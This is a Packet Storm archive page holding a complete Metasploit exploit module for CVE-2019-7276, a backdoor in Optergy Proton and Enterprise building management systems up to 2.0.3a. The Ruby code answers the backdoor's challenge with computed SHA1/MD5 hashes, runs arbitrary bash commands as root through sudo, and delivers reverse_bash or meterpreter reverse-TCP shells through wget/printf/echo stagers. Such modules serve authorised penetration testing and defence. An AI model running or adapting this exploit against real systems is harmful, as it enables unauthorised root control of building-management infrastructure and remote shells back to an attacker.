exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Optergy Proton And Enterprise BMS 2.0.3a Command Injection

Optergy Proton And Enterprise BMS 2.0.3a Command Injection
Posted Mar 28, 2023
Authored by h00die-gr3y, Gjoko Krstic | Site metasploit.com

This Metasploit module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise Building Management System (BMS) applications. Versions 2.0.3a and below are vulnerable. Attackers can exploit this issue by directly navigating to an undocumented backdoor script called Console.jsp in the tools directory and gain full system access. Successful exploitation results in root command execution using sudo as user optergy.

tags | exploit, root
advisories | CVE-2019-7276
SHA-256 | 33babb5810832b13a94e71c123fd7427e2dfe9cd4f92a96b062b362c7592affd

Optergy Proton And Enterprise BMS 2.0.3a Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor',
'Description' => %q{
This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise
Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable.
Attackers can exploit this issue by directly navigating to an undocumented backdoor script
called Console.jsp in the tools directory and gain full system access.
Successful exploitation results in `root` command execution using `sudo` as user `optergy`.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF Module contributor
'Gjoko Krstic <gjoko[at]applied-risk.com>' # Discovery
],
'References' => [
[ 'CVE', '2019-7276'],
[ 'URL', 'https://applied-risk.com/resources/ar-2019-008' ],
[ 'URL', 'https://optergy.com/products/proton/' ],
[ 'URL', 'https://optergy.com/products/optergy-enterprise/' ],
[ 'URL', 'https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276' ],
[ 'EDB', '47641'],
[ 'PACKETSTORM', '155258']
],
'DisclosureDate' => '2019-11-05',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => { 'BadChars' => "\x20" },
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptBool.new('SUDO', [ true, 'Set the sudo option to get root privileges', false ])
]
)
end

def execute_command(cmd, _opts = {})
# Step 1: get the challenge and compute the response answer for the backdoor execution
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get')
})
if res.nil? || (res.code != 200)
return nil
else
# Get and create a challenge response
res_json = res.get_json_document
return nil if res_json.nil? || res_json.blank?

# Get the challenge
challenge = res_json['response']['message']
# Make SHA1 hash from received challenge
h1 = Digest::SHA1.hexdigest challenge
# Make MD5 hash from SHA1 hash
h2 = Digest::MD5.hexdigest h1
# Combine MD5 hash and SHA1 hash as answer (response) to the challenge
answer = h1 + h2
end

# Step 2: execute payload (RCE) using the backdoor and challenge response obtained from step 1.
if target['Type'] == :linux_dropper
cmd = cmd.gsub(' ') { '${IFS}' }
end

if datastore['SUDO']
payload = "sudo bash -c #{cmd}"
else
payload = "bash -c #{cmd}"
end

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'command' => payload,
'challenge' => challenge,
'answer' => answer
}
})
if res.nil? || (res.code != 200)
return nil
else
# get result and return the command response
res_json = res.get_json_document
return nil if res_json.nil? || res_json.blank?

res_cmd_output = res_json['response']['message']
return res_cmd_output
end
end

# Checking if the target is vulnerable by executing the whoami command via the backdoor
def check
res = execute_command('whoami')
return Exploit::CheckCode::Safe unless res && (res.chomp == 'root' || res.chomp == 'optergy')

Exploit::CheckCode::Vulnerable
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
res = execute_command(payload.encoded)
fail_with(Failure::PayloadFailed, "#{datastore['PAYLOAD']} failed.") if res.nil?
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close